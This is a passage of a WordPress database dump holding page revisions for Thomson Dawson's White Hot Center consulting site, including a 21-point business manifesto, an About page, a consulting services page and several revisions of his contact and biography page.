#333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you. Serve don''t sell.\r\n</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h2>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like a lover.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h2>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'closed', 'closed', '', '136-revision-v1', '', '', '2015-10-09 11:09:03', '2015-10-09 18:09:03', '', 136, 'http://whc.fbdev.org/2015/10/136-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(3010, 2, '2015-10-08 14:19:17', '2015-10-08 21:19:17', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg"><img class="alignnone size-full wp-image-3008" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg" alt="White Hot Center Manifesto" width="680" height="350" /></a></span></h2>\r\n&nbsp;\r\n<h1><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles, or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. Presented here are my guiding principles that form my philosophy of life and business success and directs all my activities in my consulting practice.</span></h1>\r\n<h2><strong>1 as you think, so it is</strong><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nall creation begins with your thoughts.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</span></em></span><span style="color: #808080;"> <strong>\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must serve others</strong><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">meaning + contribution = a life of significance.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>4  begin now with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, your future is right now!</span>\r\n</em></span></h2>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed manner.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key to wealth.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you. Serve don''t sell.\r\n</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h2>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like a lover.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h2>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h2>\r\n<h2></h2>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'closed', 'closed', '', '136-revision-v1', '', '', '2015-10-08 14:19:17', '2015-10-08 21:19:17', '', 136, 'http://whc.fbdev.org/2015/10/136-revision-v1/', 0, 'revision', '', 0),
(3027, 1, '2015-10-08 22:59:03', '2015-10-09 05:59:03', '', 'whc-podcast-bnr', 0, '', 'inherit', 'open', 'closed', '', 'whc-podcast-bnr', '', '', '2015-10-08 22:59:03', '2015-10-09 05:59:03', '', 0, 'http://whc.fbdev.org/wp-content/uploads/2015/10/whc-podcast-bnr.jpg', 0, 'attachment', 'image/jpeg', 0),
(3029, 2, '2015-10-09 08:03:42', '2015-10-09 15:03:42', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg"><img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" /></a></h2>\r\n<h1></h1>\r\n<h1><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h1>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their journey. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5 –$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs that elevate the quality of their presence in the marketplace.   </span>\r\n<h2><strong><span style="color: #000000;">Learn more about my programs here.</span>\r\n</strong></h2>\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg"><img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" /></a>\r\n<h2>What clients say about Thomson Dawson!</h2>\r\n<h1><span style="color: #ff6600;">If you have a business transformation challenge, and you feel I might be a good fit to help you achieve your desired outcomes, lets have a conversation.</span></h1>\r\n&nbsp;\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-09 08:03:42', '2015-10-09 15:03:42', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3030, 2, '2015-10-09 08:08:04', '2015-10-09 15:08:04', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2><strong>Contact Thomson Dawson in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="212" height="270" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h3><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferenc es, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h3>\r\n<h1></h1>\r\n<h1><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h1>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 08:08:04', '2015-10-09 15:08:04', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3012, 2, '2015-10-08 14:44:41', '2015-10-08 21:44:41', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg"><img class="alignnone size-full wp-image-3004" src="http://whc.fbdev.org/wp-content/uploads/2009/05/ABOUT-Lead-WHC.jpg" alt="About the White Hot Center" width="680" height="378" /></a></h2>\r\n<h1><span style="color: #ff6600;">Inspiration, guidance and creativity for entrepreneurs and small business owners who want more impact, influence and income.</span></h1>\r\nI’m delighted you have found your way here to the White Hot Center. If you’re an early stage entrepreneur, or a successful small business owner, and you’re seeking inspiration to take your business (and your whole life experience) to the next level, you’ve come to the right place. It’s my pleasure to welcome you!\r\n\r\nMy purpose here is to inspire you to greater clarity and confidence in elevating the quality of your presence in the marketplace, enabling you to attract greater opportunity serving higher value customers and clients and making your competition irrelevant.\r\n\r\nOur conversation here is centered in my passion to inspire, guide and advise you to focus on your best opportunities, innovate strategies to master both your inner game (innovation and creative thinking), and your outer game (the quality of your presence in the marketplace) in four strategic disciplines:\r\n\r\n<em><strong>Leadership</strong></em>\r\n<em> Expanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness to build the right team, and your contributions to the marketplace.</em>\r\n\r\n<em><strong>Lifestyle Design</strong></em>\r\n<em> Developing a compelling vision for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction beyond money-making.</em>\r\n\r\n<em><strong>Value Creation</strong></em>\r\n<em> Innovation and creativity to design and develop your value proposition, innovate products and services that are highly valued by your customers.</em>\r\n\r\n<em><strong>Demand Generation</strong></em>\r\n<em> Expand your impact, influence and competitive advantage through strategic brand development, marketing communications, sales and business development strategies that position your business as the “one and only” in the minds of the best customers and clients, elevating your business from the slush pile of competitors.</em>\r\n\r\nLike you, I’m fully committed to bringing more value to my clients. After nearly 30 years of business transformation and creative consulting with hundreds of successful companies, I’ve learned to appreciate the attributes necessary to grow a beloved business to its next level.\r\n\r\nThe White Hot Center is the expression of my passion for sharing insights and ideas on personal and professional growth, leadership, value creation, innovation, brand strategy and marketing, business development and customer engagement– topics of significant importance to those entrepreneurs creating amazing value monopolies.\r\n\r\nI look forward to you sharing your insights by your comments!\r\n\r\nTo your inspired success,\r\n\r\nThomson Dawson\r\nStrategic Brand Development\r\nBusiness Transformation Consultant\r\n<a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'ABOUT THE WHC', 0, '', 'inherit', 'closed', 'closed', '', '2871-revision-v1', '', '', '2015-10-08 14:44:41', '2015-10-08 21:44:41', '', 2871, 'http://whc.fbdev.org/2015/10/2871-revision-v1/', 0, 'revision', '', 0),
(3013, 2, '2015-10-08 14:47:33', '2015-10-08 21:47:33', '', 'Work with Thomson Dawson', 0, '', 'inherit', 'open', 'closed', '', 'work-with-thomson-2', '', '', '2015-10-08 14:47:48', '2015-10-08 21:47:48', '', 138, 'http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg', 0, 'attachment', 'image/jpeg', 0),
(3063, 1, '2015-10-09 12:50:01', '2015-10-09 19:50:01', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2>Contact Thomson Dawson in the orange grove:</h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="282" height="359" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\r\n<h4>[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]</h4>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-09 12:50:01', '2015-10-09 19:50:01', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3026, 2, '2015-10-08 16:41:47', '2015-10-08 23:41:47', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg"><img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" /></a></h2>\r\n<h2><strong>Contact Thomson Dawson in the orange grove:</strong></h2>\r\n<strong>The White Hot Center\r\nInspired Success for Entrepreneurs and Small Business Leaders\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA\r\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\r\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\r\n</a></strong>\r\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\r\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\r\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\r\n\r\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\r\n\r\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\r\n\r\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\r\n\r\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\r\n</span>\r\n\r\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\r\n\r\nThomson lives and works in a small orange grove in Ojai, California.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n<h2><img class="wp-image-2583 alignleft" title="Thomson Quantum Leap Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-workshop.jpg" alt="" width="260" height="330" /> <span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\r\n<h3><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferenc es, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h3>\r\n<h1></h1>\r\n<h1><span style="color: #000000;"><span style="color: #e47906;"><a title="Have Thomson speak at your event!" href="mailto://thomson@whitehotcenter.com" target="_blank">Email to book Thomson to speak at your event</a></span></span></h1>', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-revision-v1', '', '', '2015-10-08 16:41:47', '2015-10-08 23:41:47', '', 143, 'http://whc.fbdev.org/2015/10/143-revision-v1/', 0, 'revision', '', 0),
(3050, 1, '2015-10-09 14:13:46', '2015-10-09 21:13:46', '<img class="alignnone size-full wp-image-3024" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Contact.jpg" alt="Contact Thomson Dawson" width="680" height="400" />\n<h2>Contact Thomson Dawson in the orange grove:</h2>\n<strong>The White Hot Center\nInspired Success for Entrepreneurs and Small Business Leaders\nPart of the Dawson+Company Creative Group Inc.\nOjai, California 93203 USA\n805 886 5902 mobile<a title="Email Thomson Dawson" href="mailto:thomson@whitehotcenter.com" target="_blank">\nthomson@whitehotcenter.com</a><a title="Email Thomson" href="mailto://thomson@whitehotcenter.com" target="_blank">\n</a></strong>\n<h2><span style="color: #ffa500;">About Thomson Dawson</span>\n<span style="color: #ffa500;"> Strategic Brand Development, Business Transformation and Creative Consultant</span></h2>\n<span style="color: #000000;">For nearly 30 years, Thomson has been guiding and advising business leaders and their teams to elevate the quality of their presence in the marketplace and transform their business. As a successful creative entrepreneur, brand development strategist, creative director, designer, writer and business transformation consultant to globsl companies and start-ups alike.\n</span>\n\n<span style="color: #000000;">Thomson began his journey as a creative entrepreneur in 1980 after a stint working at several advertising agencies. Thomson founded Dawson+Company Creative Group, a leading corporate and marketing communications and design agency headquartered in Grand Rapids, Michigan. </span>\n\n<span style="color: #000000;">Dawson+Company Creative Group was internationally recognized for its award winning work in brand strategy, marketing communications, corporate and brand identity development, corporate communications, branded environment design, and retail packaging and merchandising. Within the first five years, he established his creative business into one of the most respected and sought after creative firms in the US. Over the course of his business career Thomson has successfully served over 100 established and emerging client organizations in diverse industries in the US and Europe. </span>\n\n<span style="color: #000000;">His corporate clients have included Abbott, Amway, Acura, Brunswick, Coleman, Delhaize USA, Energizer, Fellowes, Haworth, Herman Miller, Hewlett-Packard, Honda, LALA USA, Jockey, Mannington Flooring, Micron Technology, Steelcase, Volkswagen, Wolverine Worldwide and X-Rite Corporation.</span>\n\nThomson is currently the Managing Partner of PULL Brand Innovation, a boutique brand strategy and development firm serving marketers of emerging brands in both consumer and business-to-business categories across the US. Thomson serves clients through strategic workshop facilitation and creative direction for go-to-market communications.\n\n<span style="color: #000000;">In 2008, leveraging his significant business experience serving leading corporate clients, Thomson founded the White Hot Center, an online source of insight, inspiration, guidance, and business development training and consulting for early stage entrepreneurs, solo professionals and small business owners who seek more impact, influence and income in their growing business. Through the White Hot Center, Thomson provides early stage entrepreneurs and their teams with professional development, brand strategy, marketing and business development education, inspiration,training and consulting to help them take their business to the next level of growth.\n</span>\n\n<span style="color: #000000;">Thomson is an avid writer, speaker and thought leader on brand strategy, marketing, value creation, professional and business development.  He is a contributing writer to many blogs and publications including the highly acclaimed <a title="Branding Strategy Insider" href="http://www.brandingstrategyinsider.com/2011/09/the-future-belongs-to-brands-that-build-great-value.html" target="_blank"><span style="color: #000000;">Branding Strategy Insider</span></a> blog, one of the 50 top branding blogs according to Advertising Age.</span>\n\nThomson lives and works in a small orange grove in Ojai, California.\n\n&nbsp;\n<h2><span style="color: #000000;"><strong>Have Thomson speak at your upcoming event!</strong></span></h2>\n[embed]https://www.youtube.com/watch?v=ZhBhjF7ocW0[/embed]\n<h4><span style="color: #ffa500;">Thomson provides inspirational talks centered on professional development, creativity, innovation and building competitive advantage in your business. He speaks regularly at business conferences, universities, industry groups and trade associations. Some talks are pro bono, some for expenses, and others for a fee and expenses. If you have an interest in presenting Thomson at your upcoming event, just send an email detailing your specific requirements.</span></h4>\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Email Thomson to speak at your event[/su_button]\n<br />&nbsp;\n<br />&nbsp;', 'Work with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '143-autosave-v1', '', '', '2015-10-09 14:13:46', '2015-10-09 21:13:46', '', 143, 'http://whc.fbdev.org/2015/10/143-autosave-v1/', 0, 'revision', '', 0),
